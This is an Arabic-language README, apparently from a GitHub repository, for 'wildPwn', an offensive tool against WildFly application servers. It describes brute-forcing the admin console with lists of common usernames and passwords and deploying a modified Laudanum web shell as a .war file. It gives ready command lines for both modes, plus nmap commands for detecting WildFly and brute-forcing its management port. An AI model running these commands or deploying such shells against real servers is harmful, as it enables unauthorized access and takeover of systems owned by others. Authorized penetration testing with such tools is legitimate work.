hlldz/wildpwnأداة اختراق بالقوة العَمياء وناشر شِل لـ WildFly
هي أداة لـ WildFly. يمكن استخدام الأداة للقوة العمياء أو نشر الشل. wildPwn.war يحتوي على شل Laudanum معدّل. userList.txt يحتوي على أسماء مستخدمين شائعة و passList.txt يحتوي على كلمات مرور شائعة.
القوة العمياء
python wildPwn.py -m brute --target <TARGET> -user <USERNAME LIST> -pass <PASSWORD LIST>
نشر الشل
python wildPwn.py -m deploy --target <TARGET> --port <PORT> -u <USERNAME> -p <PASSWORD>
https://artofpwn.com/wildfly-exploitation.html
الكشف
nmap --script wildfly-detect <TARGET>
القوة العمياء
nmap -p 9990 --script wildfly-brute --script-args "userdb=usernameList.txt,passdb=passList.txt,hostname=domain.com" <TARGET>